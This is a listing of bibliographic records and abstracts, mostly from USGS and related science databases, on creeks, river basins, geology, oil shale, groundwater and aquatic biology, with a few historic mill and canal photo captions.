Biological and associated water-quality data were collected from lower Olmos Creek and upper San Antonio River in San Antonio, Texas, during April-September 1989. Benthic macroinvertebrate, periphyton, and phytoplankton communities were sampled at three sites along the Olmos Creek/San Antonio River system. Total mean densities of benthic macroinvertebrates for the three sites ranged from 670 to 10,000 organisms per square meter. The most abundant macroinvertebrates were the class Insecta (insects). Total densities of periphyton ranged from 2,900 to 110,000 cells per square millimeter. Cyanophyta (blue-green algae) and Bacillariophyta (diatoms) were the predominant periphyton organisms. Total densities of phyto- plankton ranged from 5,000 to 47,000 cells per square milliliter. Blue-green algae accounted for more than one- half of the phytoplankton in each sample. Hardness ranged from 160 to 250 milligrams per liter as calcium carbonate, and alkalinity ranged from 130 to 220 milligrams per liter as calcium carbonate. The largest dissolved nitrite concentration was 0.038 milligram per liter. The largest total phosphorus concentration was 0.150 milligram per liter, over one-half of which was dissolved orthophosphate. Total aluminum and total iron were the only trace elements in water to exceed the reporting threshold by large concen- trations. Total aluminum concentrations ranged from 70 to 280 micrograms per liter, and total iron concentrations ranged from 70 to 340 micrograms per liter. Lead was the most prominent trace element in bottom-material samples, with concentrations ranging from 30 to 230 micrograms per gram.

Altered tuffaceous rocks of the Green River Formation in the Piceance Creek Basin, Colorado

USGS Publications Warehouse

Griggs, Roy Lee

1968-01-01

More than 50 ash-fall tuff beds which have altered to analcitized or feldspathized rocks have been found in the upper 500-600 feet of the Parachute Creek Member of the Green River Formation in the Piceance Creek Basin of northwestern Colorado. Similarly altered water-washed tuff occurs as tongues in the uppermost part of this member, and forms most of the lower 400-600 feet of the overlying Evacuation Creek Member of the Green River Formation. 'The altered ash-fall beds of the Parachute Creek Member are all thin and show a characteristic pattern of alteration. Most beds range in thickness from a fraction of an inch to a few inches. One bed reaches a maximum thickness of 5 feet, and, unlike the other beds, is composed of several successive ash falls. The pattern of alteration changes from the outer part to the center of the basin. Most beds in the outer part of the basin contain about 50 to 65 percent analcite,with the interstices between the crystals filled mainly by microlites of feldspar, opal, and quartz, and small amounts of carbonate. At the center of the basin .essentially all the beds -are composed of microlites of feldspar, opal, and quartz, and small amounts of carbonate. The tongues of water-washed tuff in the uppermost part of the Parachute Creek Member and the similar rocks composing the lower 400-600 feet of the Evacuation Creek Mewber are feldspathized rocks composed mainly of microlites of feldspar, opal, and quartz, varying amounts of carbonate, and in some specimens tiny subrounded crystals of analcite. The general trend in alteration of the tuffaceous rocks from analcitization near the margin to feidspathization near the center of the Piceance Creek Basin is believed to have taken place at shallow depth during diagenesis , as indicated by field observations and laboratory work. It is believed that during sedimentation and diagenesis the waters of the central part of the basin were more alkaline and following the breakdown of the original tuffaceous glass to a colloidal gel during diagenesis analcitized rocks crystallized near the basin margin and feldspathized rocks crystallized near the center of the basin.

Geologic framework, hydrostratigraphy, and ichnology of the Blanco, Payton, and Rough Hollow 7.5-minute quadrangles, Blanco, Comal, Hays, and Kendall Counties, Texas

USGS Publications Warehouse

Clark, Allan K.; Golab, James A.; Morris, Robert E.

2016-09-13

This report presents the geologic framework, hydro­stratigraphy, and ichnology of the Trinity and Edwards Groups in the Blanco, Payton, and Rough Hollow 7.5-minute quad­rangles in Blanco, Comal, Hays, and Kendall Counties, Texas. Rocks exposed in the study area are of the Lower Cretaceous Trinity Group and lower part of the Fort Terrett Formation of the Lower Cretaceous Edwards Group. The mapped units in the study area are the Hammett Shale, Cow Creek Limestone, Hensell Sand, and Glen Rose Limestone of the Trinity Group and the lower portion of the Fort Terrett Formation of the Edwards Group. The Glen Rose Limestone is composed of the Lower and Upper Members. These Trinity Group rocks con­tain the upper and middle Trinity aquifers. The only remaining outcrops of the Edwards Group are the basal nodular member of the Fort Terrett Formation, which caps several hills in the northern portion of the study area. These rocks were deposited in an open marine to supratidal flats environment. The faulting and fracturing in the study area are part of the Balcones fault zone, an extensional system of faults that generally trends southwest to northeast in south-central Texas.The hydrostratigraphic units of the Edwards and Trinity aquifers were mapped and described using a classification system based on fabric-selective or not-fabric-selective poros­ity types. The only hydrostratigraphic unit of the Edwards aquifer present in the study area is hydrostratigraphic unit VIII. The mapped hydrostratigraphic units of the upper Trinity aquifer are (from top to bottom) the Camp Bullis, upper evaporite, fossiliferous, and lower evaporite which are interval equivalent to the Upper Member of the Glen Rose Limestone. The middle Trinity aquifer encompasses (from top to bottom) the Lower Member of the Glen Rose Limestone, the Hensell Sand Member, and the Cow Creek Limestone Member of the Pearsall Formation. The Lower Member of the Glen Rose Limestone is subdivided into six informal hydro­stratigraphic units (from top to bottom) the Bulverde, Little Blanco, Twin Sisters, Doeppenschmidt, Rust, and Honey Creek hydrostratigraphic units.This study used the ichnofabric index scale to interpret the amount of bioturbation in the field. Most of the geologic units in the study area are assigned to the Cruziana and Thalassinoides ichnofacies consistent with interpretations of a tidal-dominated open marine environment (sublittoral zone). Ichnofossil assemblages are dominated by Thalassinoides networks, but also contain Cruziana, Ophiomorpha, Paleo­phycus, Planolites, and Serpulid traces.

Assessment of potential effects of water produced from coalbed natural gas development on macroinvertebrate and algal communities in the Powder River and Tongue River, Wyoming and Montana, 2010

USGS Publications Warehouse

Peterson, David A.; Hargett, Eric G.; Feldman, David L.

2011-01-01

Ongoing development of coalbed natural gas in the Powder River structural basin in Wyoming and Montana led to formation of an interagency aquatic task group to address concerns about the effects of the resulting production water on biological communities in streams of the area. Ecological assessments, made from 2005–08 under the direction of the task group, indicated biological condition of the macroinvertebrate and algal communities in the middle reaches of the Powder was lower than in the upper or lower reaches. On the basis of the 2005–08 results, sampling of the macroinvertebrate and algae communities was conducted at 18 sites on the mainstem Powder River and 6 sites on the mainstem Tongue River in 2010. Sampling-site locations were selected on a paired approach, with sites located upstream and downstream of discharge points and tributaries associated with coalbed natural gas development. Differences in biological condition among site pairs were evaluated graphically and statistically using multiple lines of evidence that included macroinvertebrate and algal community metrics (such as taxa richness, relative abundance, functional feeding groups, and tolerance) and output from observed/expected (O/E) macroinvertebrate models from Wyoming and Montana. Multiple lines of evidence indicated a decline in biological condition in the middle reaches of the Powder River, potentially indicating cumulative effects from coalbed natural gas discharges within one or more reaches between Flying E Creek and Wild Horse Creek in Wyoming. The maximum concentrations of alkalinity in the Powder River also occurred in the middle reaches. Biological condition in the upper and lower reaches of the Powder River was variable, with declines between some site pairs, such as upstream and downstream of Dry Fork and Willow Creek, and increases at others, such as upstream and downstream of Beaver Creek. Biological condition at site pairs on the Tongue River showed an increase in one case, near the Wyoming-Montana border, and a decrease in another case, upstream of Tongue River Reservoir. Few significant differences were noted from upstream to downstream of Prairie Dog Creek, a major tributary to the Tongue River. Further study would be needed to confirm the observed patterns and choose areas to examine in greater detail.

Tertiary geology and oil-shale resources of the Piceance Creek basin between the Colorado and White Rivers, northwestern Colorado

USGS Publications Warehouse

Donnell, John R.

1961-01-01

The area of the Piceance Creek basin between the Colorado and White Rivers includes approximately 1,600 square miles and is characterized by an extensive plateau that rises 1,000 to more than 4,000 feet above the surrounding lowlands. Relief is greatest in Naval Oil-Shale Reserves Nos. 1 and 3 near the south margin of the area, where the spectacular Roan Cliffs tower above the valley of the Colorado River. The oldest rocks exposed in the mapped area are sandstone, shale, and coal beds of the Mesaverde group of Late Cretaceous age, which crop out along the east margin of the area. Overlying the Mesaverde is an unnamed sequence of dark-colored sandstone and shale, Paleocene in age. The Ohio Creek conglomerate, composed of black and red chert and quartzite pebbles in a white sandstone matrix, is probably the basal unit in the Paleocene sequence. The Wasatch formation of early Eocene age overlies the Paleocene sedimentary rocks. It is composed of brightly colored shale, lenticular beds of sandstone, and a few thin beds of fresh-water limestone. The Kasatch formation interfingers with and is overlain by the Green River formation of middle Eocene age. The Green River formation has been divided into the Douglas Creek, Garden Gulch, Anvil Points, Parachute Creek, and Evacuation Creek members. The basal and uppermost members, the Douglas Creek and Evacuation Creek, respectively, are predominantly sandy units. The two middle members, the Garden Gulch and Parachute Creek, are composed principally of finer clastic rocks. The Anvil Points member is present only on the southeast, east, and northeast margins of the area. It is a nearshore facies composed principally of sandstone and is the equivalent of the Douglas Creek, Garden Gulch, and the lower part of the Parachute Creek members. All of the richer exposed oil-shale beds are found in the Parachute Creek member, which is divided into two oil-shale zones by a series of low-grade oilshale beds. The upper oil-shale zone has several key beds and zones which can be traced throughout most of the mapped area. One of these, the Mahogany ledge or zone, is a group of very rich oil-shale beds at the base of the upper oil-shale zone. Drilling for oil and gas in the northeastern part of the area has revealed rich oil-shale zones in the Garden Gulch member also.Local unconformities within and at the base of the Evacuation Creek member are exposed at several places along Piceance Creek and at one place near the mouth of Yellow Creek; otherwise, the rock sequence is conformable. The mapped area is the major part of a large syncline, modified by numerous smaller structural features. Fractures, probably associated genetically with the minor structural features, are present in the central part of the area. These fractures are high-angle normal faults with small displacement. They occur in pairs with the intervening block downdropped. Two sets of joints are prominent, one trending northwest and the other northeast. The joint systems control the drainage pattern in the south-central part of the area. More than 20,000 feet of sedimentary rocks underlies the area. Many of the formations yield oil or gas in northwestern Colorado, northeastern Utah, and southwestern Wyoming. The Piceance Creek gas field, in which gas occurs in the Douglas Creek member of the Green River formation, is the largest oil or gas field discovered thus far within the area. About 7,000 million barrels of oil is contained in oil shale that yields an average of 45 gallons per ton from a continuous sequence 5 or more feet thick in the Mahogany zone. Oil shale in the Mahogany zone and adjacent beds that yields an average of 30 gallons of oil per ton from a continuous sequence 15 or more feet thick contains about 91,000 million barrels of oil. Similar shale in deeper zones in the northern part of the area, for which detailed estimates have not been prepared, are now known to contain at least an additional 72,000 million barrels of oil. Oil shale in a sequence 15 or more feet thick that yields an average of 25 gallons of oil per ton contains about 154,000 million barrels of oil in the Mahogany zone and adjacent beds; such shale in deeper zones in the northern part of the area probably contains at least an additional 157,000 million barrels of oil, although detailed estimates were not made. Oil shale in a sequence greater than 15 feet thick that yields an average of 15 gallons of oil per ton contains more than 900,000 million barrels of oil. These estimates of the oil content of the deposit do not take into account any loss in mining or processing of the shale.

Analog model study of the ground-water basin of the Upper Coachella Valley, California

USGS Publications Warehouse

Tyley, Stephen J.

1974-01-01

An analog model of the ground-water basin of the upper Coachella Valley was constructed to determine the effects of imported water on ground-water levels. The model was considered verified when the ground-water levels generated by the model approximated the historical change in water levels of the ground-water basin caused by man's activities for the period 1986-67. The ground-water basin was almost unaffected by man's activities until about 1945 when ground-water development caused the water levels to begin to decline. The Palm Springs area has had the largest water-level decline, 75 feet since 1986, because of large pumpage, reduced natural inflow from the San Gorgonio Pass area, and diversions of natural inflows at Snow and Falls Creeks and Chino Canyon starting in 1945. The San Gorgonio Pass inflow had been reduced from about 18,000 acre-feet in 1986 to about 9,000 acre-feet by 1967 because of increased ground-water pumpage in the San Gorgonio Pass area, dewatering of the San Gorgonio Pass area that took place when the tunnel for the Metropolitan Water District of Southern California was drilled, and diversions of surface inflow at Snow and Falls Creeks. In addition, 1944-64 was a period of below-normal precipitation which, in part, contributed to the declines in water levels in the Coachella Valley. The Desert Hot Springs, Garnet Hill, and Mission Creek subbasins have had relatively little development; consequently, the water-level declines have been small, ranging from 5 to 15 feet since 1986. In the Point Happy area a decline of about 2 feet per year continued until 1949 when delivery of Colorado River water to the lower valley through the Coachella Canal was initiated. Since 1949 the water levels in the Point Happy area have been rising and by 1967 were above their 1986 levels. The Whitewater River subbasin includes the largest aquifer in the basin, having sustained ground-water pumpage of about 740,000 acre-feet from 1986 to 1967, and will probably continue to provide the most significant supply of ground water for the upper valley. The total ground-water storage depletion for the entire upper valley for 1986-67 was about 600,000 acre-feet, an average storage decrease of about 25,000 acre-feet per year since 1945. Transmissivity for the Whitewater River subbasin ranges from 860,000 gallons per day per foot (near Point Happy) to 50,000 gallons per day per foot, with most of the subbasin about 800,000 gallons per day per foot. In contrast, the transmissivities of the Desert Hot Springs, Mission Creek, and Garnet Hill subbasins generally range from 2,000 to 100,000, but the highest value, beneath the Mission Creek streambed deposits, is 200,000 gallons per day per foot; the transmissivity for most of the area of th6 three subbasins is 80,000 gallons per day per foot. The storage coefficients are representative of water-table conditions, ranging from 0.18 beneath the Mission Creek stream deposits to 0.06 in the Palm Springs area. The model indicated that the outflow at Point Happy decreased from 50,000 acre-feet in 1936 to 30,000 acre-feet by 1967 as a result of the rising water levels in the lower valley. The most logical area to recharge the Colorado River water is the Windy Point-Whitewater area, where adequate percolation rates of 2-4 acre-feet per acre per day are probable. The Whitewater River bed may be the best location to spread the water if the largest part of the imported water can be recharged during low-flow periods. The area in sec. 21, T. 2 S., R. 4 E., would be adequate for the smaller quantities of recharge proposed for the Mission Creek area. Projected pumpage for the period 1968-2000 was programmed on the model with the proposed recharge of Colorado River water for the same period. The model indicated a maximum water-level increase of 200 feet above the 1967 water level at Windy Point, the proposed recharge site, by the year 2000, a 130-foot increase by 1990, and a 20-foot increas

Chemical quality of surface water in the Allegheny River basin, Pennsylvania and New York

USGS Publications Warehouse

McCarren, Edward F.

1967-01-01

The Allegheny River is the principal source of water to many industries and to communities in the upper Ohio River Valley. The river and its many tributaries pass through 19 counties in northwestern and western Pennsylvania. The population in these counties exceeds 3 million. A major user of the Allegheny River is the city of Pittsburgh, which has a population greater than The Allegheny River is as basic to the economy of the upper Ohio River Valley in western Pennsylvania as are the rich deposits of bituminous coal, gas, and oil that underlie the drainage basin. During the past 5 years many streams that flow into the Allegheny have been low flowing because of droughts affecting much of the eastern United States. Consequently, the concentration of solutes in some streams has been unusually high because of wastes from coal mines and oil wells. These and other water-quality problems in the Allegheny River drainage basin are affecting the economic future of some areas in western Pennsylvania. Because of environmental factors such as climate, geology, and land and water uses, surface-water quality varies considerably throughout the river basin. The natural quality of headwater streams, for example, is affected by saltwater wastes from petroleum production. One of the streams most affected is Kinzua Creek, which had 2,900 parts per million chloride in a sample taken at Westline on September 2, 1959. However, after such streams as the Conewango, Brokenstraw, Tionesta, Oil, and French Creeks merge with the Allegheny River, the dissolved-solids and chloride concentrations are reduced by dilution. Central segments of the main river receive water from the Clarion River, Redbank, Mahoning, and Crooked Creeks after they have crossed the coal fields of west-central Pennsylvania. At times, therefore, these streams carry coal-mine wastes that are acidic. The Kiskiminetas River, which crosses these coal fields, discharged sulfuric acid into the Allegheny at a rate of 299 tons a day during the 1962 water year (October 1, 1961, to September 30, 1962). Mine water affects the quality of the Allegheny River most noticeably in its lower part where large withdrawals are made by the Pittsburgh Water Company at Aspinwall and the Wilkinsburg-Penn Joint Water Authority at Nadine. At these places raw river water is chemically .treated in modern treatment plants to control such objectionable characteristics as acidity and excessive concentrations of iron and manganese. Dissolved-solids content in the river varies along its entire length. In its upper reaches the water of the Allegheny River is a sodium chloride type, and at low flow, the sodium chloride is more than half the dissolved solids. In its lower reaches the water is a calcium sulfate .type, and at low flow the calcium sulfate is more than half the dissolved solids. In middle segments of the river from Franklin to Kittanning, water is more dilute and of a mixed type. Many small and several larger streams in the upper basin--such as the Conewango, Brokenstraw, Kinzua, Tionesta, and French Creeks--support large populations of game-fish. Even in segments of the Clarion River, Mahoning, and Redbank Creeks, which are at times affected by coal-mine wastes, fish are present. Although different species withstand varying amounts of contaminants in water, the continued presence of the fish indicates that the water is relatively pure and suitable for recreation and many other uses.

Fisheries Enhancement on the Coeur d'Alene Indian Reservation; Hangman Creek, Annual Report 2001-2002.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Peters, Ronald; Kinkead, Bruce; Stanger, Mark

2003-07-01

Historically, Hangman Creek produced Chinook salmon (Oncorhynchus tshawytscha) and Steelhead trout (Oncorhynchus mykiss) for the Upper Columbia Basin Tribes. One weir, located at the mouth of Hangman Creek was reported to catch 1,000 salmon a day for a period of 30 days a year (Scholz et al. 1985). The current town of Tekoa, Washington, near the state border with Idaho, was the location of one of the principle anadromous fisheries for the Coeur d'Alene Tribe (Scholz et al. 1985). The construction, in 1909, of Little Falls Dam, which was not equipped with a fish passage system, blocked anadromous fish accessmore » to the Hangman Watershed. The fisheries were further removed with the construction of Chief Joseph and Grand Coulee Dams. As a result, the Coeur d'Alene Indian Tribe was forced to rely more heavily on native fish stocks such as Redband trout (Oncorhynchus mykiss gairdneri), Westslope Cutthroat trout (O. clarki lewisii), Bull trout (Salvelinus confluentus) and other terrestrial wildlife. Historically, Redband and Cutthroat trout comprised a great deal of the Coeur d'Alene Tribe's diet (Power 1997).« less

90. PORTLAND FILTER FLOOR FROM SOUTHEAST. CYANIDE FEED TOWER TO ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

90. PORTLAND FILTER FLOOR FROM SOUTHEAST. CYANIDE FEED TOWER TO SUMP, LOWER RIGHT QUADRANT. DIAGONAL PIPE IN UPPER RIGHT IS AIR LINE TO AGITATORS. LAUNDER PARALLEL TO LEFT EDGE (FILLED WITH DEBRIS) RUNS FROM PRIMARY THICKENER No. 2 TO GOLD TANK No. 2. - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

169. PORTLAND FILTER FLOOR FROM SOUTHEAST. CYANIDE FEED TOWER TO ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

169. PORTLAND FILTER FLOOR FROM SOUTHEAST. CYANIDE FEED TOWER TO SUMP, LOWER RIGHT QUADRANT. DIAGONAL PIPE IN UPPER RIGHT IS AIR LINE TO AGITATORS. LAUNDER PARALLEL TO LEFT EDGE (FILLED WITH DEBRIS) RUNS FROM PRIMARY THICKENER No. 2 TO GOLD TANK No. 2 - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

87. Photocopy of Photograph (original located in Univ. of Denver ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

87. Photocopy of Photograph (original located in Univ. of Denver collection). C.R. Savage, Photographer, date unknown. ROCK CREEK SIPHON, LOW LINE CANAL, TWIN FALLS COUNTY, SOUTH OF KIMBERLY, IDAHO; UPPER END OF THE SIPHON. - Milner Dam & Main Canal: Twin Falls Canal Company, On Snake River, 11 miles West of city of Burley, Idaho, Twin Falls, Twin Falls County, ID

Research on stand management options for reducing fuels and restoring two-aged lodgepole pine communities on the Tenderfoot Creek Experimental Forest

Treesearch

Ward McCaughey

2003-01-01

Fire-dependent lodgepole pine stands comprise significant acreages of midand upper-elevation forests in the Northern Rockies, providing wood products, wildlife habitat, livestock forage, water, recreational opportunities, and expansive viewsheds. Many lodgepole pine stands are in late-successional stages and at risk to pests and catastrophic-scale fires. Tenderfoot...

Flow characterization in the Santee Cave system in the Chapel Branch Creek watershed, upper coastal plain of South Carolina, USA

Treesearch

Amy E. Edwards; Devendra M. Amatya; Thomas M. Williams; Daniel R. Hitchcock; April L. James

2013-01-01

Karst watersheds possess both diffuse and conduit flow and varying degrees of connectivity between surface and groundwater over spatial scales that result in complex hydrology and contaminant transport processes. The flow regime and surface-groundwater connection must be properly identified and characterized to improve management in karst watersheds with impaired water...

Rehabilitation of a debris-flow prone mountain stream in southwestern China - Strategies, effects and implications

NASA Astrophysics Data System (ADS)

Yu, Guo-an; Huang, He Qing; Wang, Zhaoyin; Brierley, Gary; Zhang, Kang

2012-01-01

SummaryRehabilitation of Shengou Creek, a small, steep mountain stream in southwestern China that is prone to debris flows, started more than 30 years ago through an integrated program of engineering applications (check dams and guiding dikes), biological measures (reforestation), and social measures (reducing human disturbance). Small and medium-sized check dams and guiding dikes were constructed on key upper and middle sections of the creek to stabilize hillslopes and channel bed. Meanwhile, Leucaena leucocephala, a drought-tolerant, fast-growing, and highly adaptive plant species, was introduced to promote vegetation recovery in the watershed. The collective community structure of tree, shrub, and herb assemblages in the artificial L. leucocephala forest, which developed after 7 years, enhanced soil structure and drastically reduced soil erosion on hillslopes. Cultivation of steep land was strictly controlled in the basin, and some inhabitants were encouraged to move from upstream areas to downstream towns to reduce disturbance. These integrated measures reduced sediment supply from both hillslopes and upstream channels, preventing sediment-related hazards. The development of natural streambed resistance structures (mainly step-pool systems) and luxuriant riparian vegetation aided channel stability, diversity of stream habitat, and ecological maintenance in the creek. These findings are compared with Jiangjia and Xiaobaini Ravines, two adjacent non-rehabilitated debris-flow streams which have climate and geomorphologic conditions similar to Shengou Creek. Habitat diversity indices, taxa richness, biodiversity, and bio-community indices are much higher in Shengou Creek relative to Jiangjia and Xiaobaini Ravines, attesting to the effectiveness of rehabilitation measures.

Re-Introduction of Lower Columbia River Chum Salmon into Duncan Creek, 2003-2004 Annual Report.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Hillson, Todd D.

2004-09-01

Currently, two methods of reintroduction are being simultaneously evaluated at Duncan Creek. Recolonization is occurring by introducing adult chum salmon from the Lower Gorge (LG) population into Duncan Creek and allowing them to naturally reproduce. The supplementation strategy required adults to be collected and artificially spawned, incubated, reared, and released at the mouth of Duncan Creek. All eggs from the artificial crossings at Washougal Hatchery were incubated and the fry reared to release size at the hatchery. The Duncan Creek chum salmon project was very successful in 2003-04, providing knowledge and experience that will improve program execution in future years.more » The gear used to collect adult brood stock was changed from tangle nets to beach seines. This increased efficiency and the speed at which adults could be processed in the field, and most likely reduced stress on the adults handled. Certain weaknesses exposed in past seasons still exist and new ones were exposed (e.g. inadequate incubation and rearing space at Washougal Hatchery for any large salvage operation and having to move the rearing troughs outside the raceway in 2004). Egg-to-fry survival rates of 64% and 58% showed that the channels are functioning at the upper end of what can be expected from them. Possibly the most important event this season was the ability to strontium mark and release all naturally-produced fry from the spawning channels. Channel and floodplain modifications reduced the likelihood that floods will damage the channels and negatively impact survival rates.« less

Sedimentary response to orogenic exhumation in the northern rocky mountain basin and range province, flint creek basin, west-central Montana

USGS Publications Warehouse

Portner, R.A.; Hendrix, M.S.; Stalker, J.C.; Miggins, D.P.; Sheriff, S.D.

2011-01-01

Middle Eocene through Upper Miocene sedimentary and volcanic rocks of the Flint Creek basin in western Montana accumulated during a period of significant paleoclimatic change and extension across the northern Rocky Mountain Basin and Range province. Gravity modelling, borehole data, and geologic mapping from the Flint Creek basin indicate that subsidence was focused along an extensionally reactivated Sevier thrust fault, which accommodated up to 800 m of basin fill while relaying stress between the dextral transtensional Lewis and Clark lineament to the north and the Anaconda core complex to the south. Northwesterly paleocurrent indicators, foliated metamorphic lithics, 64 Ma (40Ar/39Ar) muscovite grains, and 76 Ma (U-Pb) zircons in a ca. 27 Ma arkosic sandstone are consistent with Oligocene exhumation and erosion of the Anaconda core complex. The core complex and volcanic and magmatic rocks in its hangingwall created an important drainage divide during the Paleogene shedding detritus to the NNW and ESE. Following a major period of Early Miocene tectonism and erosion, regional drainage networks were reorganized such that paleoflow in the Flint Creek basin flowed east into an internally drained saline lake system. Renewed tectonism during Middle to Late Miocene time reestablished a west-directed drainage that is recorded by fluvial strata within a Late Miocene paleovalley. These tectonic reorganizations and associated drainage divide explain observed discrepancies in provenance studies across the province. Regional correlation of unconformities and lithofacies mapping in the Flint Creek basin suggest that localized tectonism and relative base level fluctuations controlled lithostratigraphic architecture.

Lithologic and ground-water-quality data collected using Hoverprobe drilling techniques at the West Branch Canal Creek wetland, Aberdeen Proving Ground, Maryland, April-May 2000

USGS Publications Warehouse

Phelan, Daniel J.; Senus, Michael P.; Olsen, Lisa D.

2001-01-01

This report presents lithologic and groundwater- quality data collected during April and May 2000 in the remote areas of the tidal wetland of West Branch Canal Creek, Aberdeen Proving Ground, Maryland. Contamination of the Canal Creek aquifer with volatile organic compounds has been documented in previous investigations of the area. This study was conducted to investigate areas that were previously inaccessible because of deep mud and shallow water, and to support ongoing investigations of the fate and transport of volatile organic compounds in the Canal Creek aquifer. A unique vibracore drill rig mounted on a hovercraft was used for drilling and groundwater sampling. Continuous cores of the wetland sediment and of the Canal Creek aquifer were collected at five sites. Attempts to sample ground water were made by use of a continuous profiler at 12 sites, without well installation, at a total of 81 depths within the aquifer. Of those 81 attempts, only 34 sampling depths produced enough water to collect samples. Ground-water samples from two sites had the highest concentrations of volatile organic compounds?with total volatile organic compound concentrations in the upper part of the aquifer ranging from about 15,000 to 50,000 micrograms per liter. Ground-water samples from five sites had much lower total volatile organic compound concentrations (95 to 2,100 micrograms per liter), whereas two sites were essentially not contaminated, with total volatile organic compound concentrations less than or equal to 5 micrograms per liter.

Life history diversity of Snake River finespotted cutthroat trout: managing for persistence in a rapidly changing environment

USGS Publications Warehouse

Homel, Kristen M.; Gresswell, Robert E.; Kershner, Jeffrey L.

2015-01-01

Over the last century, native trout have experienced dramatic population declines, particularly in larger river systems where habitats associated with different spawning life history forms have been lost through habitat degradation and fragmentation. The resulting decrease in life history diversity has affected the capacity of populations to respond to environmental variability and disturbance. Unfortunately, because few large rivers are intact enough to permit full expression of life history diversity, it is unclear what patterns of diversity should be a conservation target. In this study, radiotelemetry was used to identify spawning and migration patterns of Snake River Finespotted Cutthroat Trout Oncorhynchus clarkii behnkei in the upper Snake River. Individuals were implanted with radio tags in October 2007 and 2008, and monitored through October 2009. Radio-tagged cutthroat trout in the upper Snake River exhibited variation in spawning habitat type and location, migration distance, spawn timing, postspawning behavior, and susceptibility to mortality sources. Between May and July, Cutthroat Trout spawned in runoff-dominated tributaries, groundwater-dominated spring creeks, and side channels of the Snake River. Individuals migrated up to 101 km from tagging locations in the upper Snake River to access spawning habitats, indicating that the upper Snake River provided seasonal habitat for spawners originating throughout the watershed. Postspawning behavior also varied; by August each year, 28% of spring-creek spawners remained in their spawning location, compared with 0% of side-channel spawners and 7% of tributary spawners. These spawning and migration patterns reflect the connectivity, habitat diversity, and dynamic template of the Snake River. Ultimately, promoting life history diversity through restoration of complex habitats may provide the most opportunities for cutthroat trout persistence in an environment likely to experience increased variability from climate change and disturbance from invasive species.

Simulation of climate change effects on streamflow, groundwater, and stream temperature using GSFLOW and SNTEMP in the Black Earth Creek Watershed, Wisconsin

USGS Publications Warehouse

Hunt, Randall J.; Westenbroek, Stephen M.; Walker, John F.; Selbig, William R.; Regan, R. Steven; Leaf, Andrew T.; Saad, David A.

2016-08-23

Potential future changes in air temperature drivers were consistently upward regardless of General Circulation Model and emission scenario selected; thus, simulated stream temperatures are forecast to increase appreciably with future climate. However, the amount of temperature increase was variable. Such uncertainty is reflected in temperature model results, along with uncertainty in the groundwater/surface-water interaction itself. The estimated increase in annual average temperature ranged from approximately 3 to 6 degrees Celsius by 2100 in the upper reaches of Black Earth Creek and 2 to 4 degrees Celsius in reaches farther downstream. As with all forecasts that rely on projections of an unknowable future, the results are best considered to approximate potential outcomes of climate change given the underlying uncertainty.

Outcrop shapes for correlation of Lower Mississippian carbonates in western North America

DOE Office of Scientific and Technical Information (OSTI.GOV)

Haines, F.

1993-03-01

Examination of the sedimentary cycles in Mississippian carbonates in Iowa, Utah, Montana and Alberta shows a hierarchy of stratigraphic subdivisions: large sequences, cycles, rhythmic bands or marker beds, and couplets of laminated and dense beds. The 3 sequences shoal upward from dark mudstone to an oolitic or crinoidal cap beneath a disconformity. Sequence 1 (Horton Creek Member in Illinois, Upper Fitchville in Utah and Lower Banff oolite in Alberta) thins rapidly to fossiliferous limestone at a Waulsortian shelf margin on the southern edge of the Central Montana Trough. Sequence 2 (Hannibal-Chouteau in Missouri, Middle Banff in Alberta, lower Lodgepole cliffmore » in Montana and lower Chinese wall in Utah) thins at a shelf margin which is north-south in western Montana but swings east then northwest around an embayment in NW Montana and SW Alberta. Sequence 3 (Burlington-Keokuk in Iowa, Upper Banff and Pekisko in Alberta, and upper Lodgepole-massive lower Mission Canyon in Utah and Montana) marker beds lose their identity without a shelf margin in NW Montana and SW Alberta. Rhythmic bands, currently under study, demonstrate episodic deposition over large areas, band tops are sometimes bored, hardened and oxidized. Silty bands are used as marker beds. The S-4 marker (Dolby Creek) maintains a similar bed form despite facies changes. Laminated and dense limestone couplets are common in the basinal facies from Utah to Alberta and in the Chouteau formation of Missouri.« less

Water-quality trends for streams and reservoirs in the Research Triangle area of North Carolina, 1983-95

USGS Publications Warehouse

Childress, C.J.; Bathala, Neeti

1997-01-01

Water-quality and streamflow monitoring data, collected from 1983 to 1995, were analyzed for 34 stream and reservoir sites in a seven- county region within the upper Neuse and upper Cape Fear River Basins. Early data (1983-88) were compiled from U.S. Geological Survey water- quality studies and from the ambient water-quality monitoring network of the North Carolina Department of Environment, Health, and Natural Resources. Analyses of major ions, nutrients, metals, trace elements, and synthetic organic compounds were compiled from samples collected by the U.S. Geological Survey from 1988 to 1995 as part of a continuing project to monitor the water quality of surface-water supplies in the Research Triangle area of North Carolina, and from the North Carolina Department of Environment, Health, and Natural Resources ambient water-quality monitoring network. This report presents the results of analysis of consistently increasing or decreasing trends in concentrations of nitrogen and phosphorus species, suspended sediment, suspended solids, sodium, chloride, iron, manganese, zinc, and chlorophyll a from seasonal Kendall trend analysis on flow-adjusted concentrations for streams and concentrations in lakes. Total phosphorus concentrations also were tested for a step decrease in concentration (step trend) associated with the North Carolina phosphate-detergent ban of 1988. For some other constituents, insufficient data or values below laboratory detection limits precluded trend analysis. A regionwide decrease in total phosphorus, ranging from 25 to 81 percent was observed that coincided with increased phosphorus removal efforts at municipal wastewater-treatment facilities in the region and the statewide phosphate-detergent ban. Most sites had stable or decreasing trends in nitrogen concentrations; however, increasing trends occurred in the Neuse River near Clayton and at Smithfield, both of which are downstream from the developing Raleigh-Durham area. Chlorophyll a concentrations have increased by 17 to 52 percent per year at monitored reservoirs, except at Cane Creek Reservoir and Lake Michie where there was no trend. No significant trends in suspended- sediment concentrations were observed. Long-term sodium concentrations were available for only a few sites. Of these, decreasing concentrations were observed in the Neuse River at Smithfield and Cane Creek near Orange Grove, and an increasing concentration was observed in University Lake. At most sites, concentrations of manganese, iron, and zinc were stable. Decreasing iron trends were observed in Little River and Cane Creek Reservoirs and Lake Michie. Cane Creek Reservoir also had a decreasing manganese trend. Severn sites, all downstream from wastewater-treatment facilities, were analyzed for zinc trends. A decreasing trend was observed in two of these--Knap of Reeds Creek and Little Lick Creek.

